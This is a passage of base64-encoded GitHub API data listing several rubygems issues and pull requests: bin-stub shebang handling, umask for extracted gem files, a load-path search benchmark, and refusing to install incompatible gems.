GkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA0OS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA0OSIsImlkIjo0NTgxMjY2NywibnVtYmVyIjoxMDQ5LCJ0aXRsZSI6IldoZW4gaW5zdGFsbGluZyBiaW4gc3R1YnMsIGVuYWJsZSAtLWVudi1zaGViYW5nIGlmIEZpbGUuZGlybmFtZShHZW0ucnVieSkgaXMgaW4gJFBBVEgiLCJ1c2VyIjp7ImxvZ2luIjoicG9zdG1vZGVybiIsImlkIjoxMjY3MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTI2NzE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Bvc3Rtb2Rlcm4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9wb3N0bW9kZXJuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcG9zdG1vZGVybi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wb3N0bW9kZXJuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Bvc3Rtb2Rlcm4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Bvc3Rtb2Rlcm4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wb3N0bW9kZXJuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcG9zdG1vZGVybi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wb3N0bW9kZXJuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcG9zdG1vZGVybi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcG9zdG1vZGVybi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNC0xMC0xNFQyMzoyMzoyMFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yNVQwNTo1NTo1M1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IiMjIFByb2JsZW1cblxuR2VuZXJhdGluZyBhYnNvbHV0ZSBgIyFgIGZvciBydWJ5Z2VtJ3MgYmluIHN0dWJzIG1ha2VzIGl0IHByb2JsZW1hdGljIGZvciBydWJ5IHN3aXRjaGVycyBzdWNoIGFzIFtyYmVudl0oaHR0cHM6Ly9naXRodWIuY29tL3NzdGVwaGVuc29uL3JiZW52I3JlYWRtZSkgYW5kIFtjaHJ1YnldKGh0dHBzOi8vZ2l0aHViLmNvbS9wb3N0bW9kZXJuL2NocnVieSNyZWFkbWUpLiBXaGVuZXZlciBhIHJ1YnkgaXMgdXBkYXRlZCBvciBwZXJoYXBzIG1vdmVkL25hbWVkLCB1c2VycyBtdXN0IHJ1biBgZ2VtIHByaXN0aW4gLS1vbmx5LWV4ZWN1dGFibGVzYCB0byByZS1nZW5lcmF0aW5nIHRoZSBnZW0gYmluIHN0dWJzIHdpdGggdGhlIG5ldyBwYXRoIHRvIHRoZSBgcnVieWAgZXhlY3V0YWJsZS5cbiMjIFByb3Bvc2FsXG5cblRvbyBhY2NvbW1vZGF0ZSBib3RoIHVzZXJzIG9mIHJ1Ynkgc3dpdGNoZXJzIGFuZCB0aG9zZSB3aG8gZGlyZWN0bHkgaW52b2tlIHJ1YnkgKGV4OiBgL3BhdGgvdG8vcnVieSAtUyBnZW0gaW5zdGFsbCAuLi5gKSwgSSBwcm9wb3NlIHRoZSBmb2xsb3dpbmcgYmVoYXZpb3Igd2hlbiBnZW5lcmF0aW5nIGJpbiBzdHVicyBmb3IgbmV3bHkgaW5zdGFsbGVkIGdlbXM6XG4xLiBDaGVjayBpZiBgRmlsZS5kaXJuYW1lKEdlbS5ydWJ5KWAgZXhpc3RzIHdpdGhpbiBgRU5WWydQQVRIJ10uc3BsaXQoRmlsZTo6UEFUSF9TRVBBUkFUT1IpYC5cbiAgIFxuICAgYS4gSWYgc286IGVuYWJsZSBgLS1lbnYtc2hlYmFuZ2AgYmVoYXZpb3IgYnkgZGVmYXVsdC5cbiAgIGIuIElmIG5vdDogdXNlIFtgXCIjISN7R2VtLnJ1Ynl9I3tvcHRzfVwiYF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvMDQ4OTI2MWQzMDg4YmMzMTZhODdkMWM2MmQ5NzQyOTYwMDI2ZDAzNC9saWIvcnVieWdlbXMvaW5zdGFsbGVyLnJiI0w1MzEpIGxpa2Ugbm9ybWFsbHkuXG4jIyBSYXRpb25hbGVcblxuSWYgdGhlIHJ1YnkncyBgYmluL2AgZGlyZWN0b3J5IGV4aXN0cyBpbiBgJFBBVEhgIGl0IGNhbiBiZSBhc3N1bWVkIHRoaXMgd2FzIGludGVudGlvbmFsIGFuZCB0aGF0IGAjIS91c3IvYmluL2VudiBydWJ5YCB3b3VsZCBiZSBlcXVpdmFsZW50IHRvIGAjIS91c3IvYmluL3J1YnlgLiBJZiB0aGUgcnVieSdzIGBiaW4vYCBkaXJlY3RvcnkgaXMgX25vdF8gaW4gYCRQQVRIYCwgdGhlbiB0aGUgdXNlciBoYXMgbGlrZWx5IGV4ZWN1dGVkIGl0IGRpcmVjdGx5IGJ5IGNhbGxpbmcgYC9wYXRoL3RvL2Jpbi9ydWJ5IC1TIGdlbSBpbnN0YWxsIC4uLmAuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNDEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA0MS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTA0MS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDQxL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTA0MSIsImlkIjo0NTI5NTU3NSwibnVtYmVyIjoxMDQxLCJ0aXRsZSI6InVzZSBwYWNrYWdlZCBnZW0gZmlsZXMgbW9kZSBhcyBoaW50IG9ubHkiLCJ1c2VyIjp7ImxvZ2luIjoibXBhcGlzIiwiaWQiOjQ4MDU0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80ODA1ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MzEsImNyZWF0ZWRfYXQiOiIyMDE0LTEwLTA4VDIwOjU0OjEzWiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDA3OjMwOjIxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMDQxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMDQxIiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMDQxLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMDQxLnBhdGNoIn0sImJvZHkiOiJwcm9wb3NhbCB0byBmaXggb25lIG9mIHRoZSBwcm9ibGVtcyBpbiAjMTA0MCwgdGhpcyBhbGxvd3Mgc3lzdGVtcyBgdW1hc2tgIHRvIGJlIGFwcGxpZWQgcHJvcGVybHkgdG8gZXh0cmFjdGVkIGdlbSBmaWxlc1xuXG50byBmdWxseSBhdm9pZCAjMTAwMiBpdCB3b3VsZCBiZSByZXF1aXJlZCB0byBrbm93IGBzcGVjLmV4ZWN1dGFibGVzYCBzbyB0aGUgYDc3NWAgY291bGQgYmUgZm9yY2VkIG9uIHRob3NlIGZpbGVzXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk3MSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzEvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk3MS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC85NzEiLCJpZCI6Mzc2ODA2NzAsIm51bWJlciI6OTcxLCJ0aXRsZSI6ImltcHJvdmUgcGVyZm9ybWFuY2Ugb2YgZmluZF9maWxlc19mcm9tX2xvYWRfcGF0aCIsInVzZXIiOnsibG9naW4iOiJ0ZW5kZXJsb3ZlIiwiaWQiOjMxMjQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzMxMjQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS90ZW5kZXJsb3ZlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOnRydWV9LCJsYWJlbHMiOlt7ImlkIjozMTk1NDE2MzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3BlcmZvcm1hbmNlIiwibmFtZSI6InBlcmZvcm1hbmNlIiwiY29sb3IiOiJkZDAwZGQiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTEsImNyZWF0ZWRfYXQiOiIyMDE0LTA3LTExVDE3OjMzOjU3WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI1VDA1OjU1OjUzWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvOTcxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC85NzEiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzk3MS5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvOTcxLnBhdGNoIn0sImJvZHkiOiJJbiBvcmRlciB0byBzdXBwb3J0IGNhc2UtaW5zZW5zaXRpdmUgZmlsZSBzeXN0ZW1zLCBEaXIjW10gaXMgc2xvd2VyIGluXG50cnVuayBSdWJ5OlxuXG4gIGh0dHBzOi8vYnVncy5ydWJ5LWxhbmcub3JnL2lzc3Vlcy8xMDAxNVxuXG5UaGlzIHBhdGNoIHNwZWVkcyB1cCBgZmluZF9maWxlc19mcm9tX2xvYWRfcGF0aGAgYSBsaXR0bGUgb24gMi4xLjJcbihhYm91dCAxMCUpIGFuZCBhIGxvdCBvbiBSdWJ5IHRydW5rICgxMHggZmFzdGVyKS4gIEhlcmUgaXMgbXkgYmVuY2htYXJrOlxuXG5gYGAgcnVieVxucmVxdWlyZSAnYmVuY2htYXJrL2lwcydcblxuY2xhc3MgSGVsbG9cbiAgZGVmIHNlbGYub2xkX2ZpbmRfZmlsZXNfZnJvbV9sb2FkX3BhdGggZ2xvYiAjIDpub2RvYzpcbiAgICAkTE9BRF9QQVRILm1hcCB7IHxsb2FkX3BhdGh8XG4gICAgICBEaXJbXCIje0ZpbGUuZXhwYW5kX3BhdGggZ2xvYiwgbG9hZF9wYXRofSN7R2VtLnN1ZmZpeF9wYXR0ZXJufVwiXVxuICAgIH0uZmxhdHRlbi5zZWxlY3QgeyB8ZmlsZXwgRmlsZS5maWxlPyBmaWxlLnVudGFpbnQgfVxuICBlbmRcblxuICBkZWYgc2VsZi5uZXdfZmluZF9maWxlc19mcm9tX2xvYWRfcGF0aCBnbG9iICMgOm5vZG9jOlxuICAgIHNlYXJjaCA9IFwiI3tnbG9ifSN7R2VtLnN1ZmZpeF9wYXR0ZXJufVwiXG4gICAgJExPQURfUEFUSC5tYXAgeyB8bG9hZF9wYXRofFxuICAgICAgRGlyLmNoZGlyKGxvYWRfcGF0aCkge1xuICAgICAgICBEaXJbc2VhcmNoXS5tYXAhIHsgfGZ8IEZpbGUuam9pbiBsb2FkX3BhdGgsIGYgfVxuICAgICAgfVxuICAgIH0uZmxhdHRlbi5zZWxlY3QgeyB8ZmlsZXwgRmlsZS5maWxlPyBmaWxlLnVudGFpbnQgfVxuICBlbmRcbmVuZFxuXG5zZWFyY2ggPSBcIm1pbml0ZXN0LypfcGx1Z2luLnJiXCJcblxuQmVuY2htYXJrLmlwcyBkbyB8eHxcbiAgeC5yZXBvcnQoJ29sZCcpIGRvXG4gICAgSGVsbG8ub2xkX2ZpbmRfZmlsZXNfZnJvbV9sb2FkX3BhdGggc2VhcmNoXG4gIGVuZFxuXG4gIHgucmVwb3J0KCduZXcnKSBkb1xuICAgIEhlbGxvLm5ld19maW5kX2ZpbGVzX2Zyb21fbG9hZF9wYXRoIHNlYXJjaFxuICBlbmRcbmVuZFxuYGBgXG5cblJlc3VsdHMgb24gMi4xLjI6XG5cbmBgYFxuW2Fhcm9uQGhpZ2dpbnMgcnVieWdlbXMgKG1hc3RlcildJCBydWJ5IC12IC1JIGxpYiBmbHAucmJcbnJ1YnkgMi4xLjJwOTUgKDIwMTQtMDUtMDggcmV2aXNpb24gNDU4NzcpIFt4ODZfNjQtZGFyd2luMTMuMF1cbkNhbGN1bGF0aW5nIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICAgICAgICAgb2xkICAgICAgIDI4MyBpLzEwMG1zXG4gICAgICAgICAgICAgICAgIG5ldyAgICAgICAzMDQgaS8xMDBtc1xuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgICAgICAgICBvbGQgICAgIDI5MDMuOCAowrE0LjMlKSBpL3MgLSAgICAgIDE0NzE2IGluICAgNS4wNzgyOTFzXG4gICAgICAgICAgICAgICAgIG5ldyAgICAgMzE4MC41ICjCsTQuNyUpIGkvcyAtICAgICAgMTYxMTIgaW4gICA1LjA3ODE5M3NcbmBgYFxuXG5SZXN1bHRzIGFnYWluc3QgdHJ1bms6XG5cbmBgYFxuW2Fhcm9uQGhpZ2dpbnMgcnVieWdlbXMgKG1hc3RlcildJCBydWJ5IC12IC1JIGxpYiBmbHAucmJcbnJ1YnkgMi4yLjBkZXYgKDIwMTQtMDctMDkgdHJ1bmsgNDY3NTkpIFt4ODZfNjQtZGFyd2luMTNdXG5DYWxjdWxhdGluZyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAgICAgICAgIG9sZCAgICAgICAgIDggaS8xMDBtc1xuICAgICAgICAgICAgICAgICBuZXcgICAgICAgIDg1IGkvMTAwbXNcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICAgICAgICAgb2xkICAgICAgIDg0LjYgKMKxNy4xJSkgaS9zIC0gICAgICAgIDQyNCBpbiAgIDUuMDQ2NTIwc1xuICAgICAgICAgICAgICAgICBuZXcgICAgICA4NTguNyAowrEzLjMlKSBpL3MgLSAgICAgICA0MzM1IGluICAgNS4wNTM3NjNzXG5gYGBcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTY4IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk2OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTY4L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk2OC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTY4IiwiaWQiOjM3Mzk1MDUzLCJudW1iZXIiOjk2OCwidGl0bGUiOiJEbyBub3QgdHJ5IHRvIGluc3RhbGwgZ2VtcyB0aGF0IGFyZSBub3QgY29tcGF0aWJsZSIsInVzZXIiOnsibG9naW4iOiJncm9zc2VyIiwiaWQiOjExMzY3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMTM2Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3NlciIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2dyb3NzZXIiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MywiY3JlYXRlZF9hdCI6IjIwMTQtMDctMDhUMTc6NDU6MTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMDEtMTdUMDE6MjY6MTlaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJmb3IgZXhhbXBsZSBvbiBydWJ5IDEuOC43OlxuXG5gYGBcbmdlbSBpIHRpbWVjb3BcbkZldGNoaW5nOiB0aW1lY29wLTAuNy4xLmdlbSAoMTAwJSlcbkVSUk9SOiAgRXJyb3IgaW5zdGFsbGluZyB0aW1lY29wOlxuICAgIHRpbWVjb3AgcmVxdWly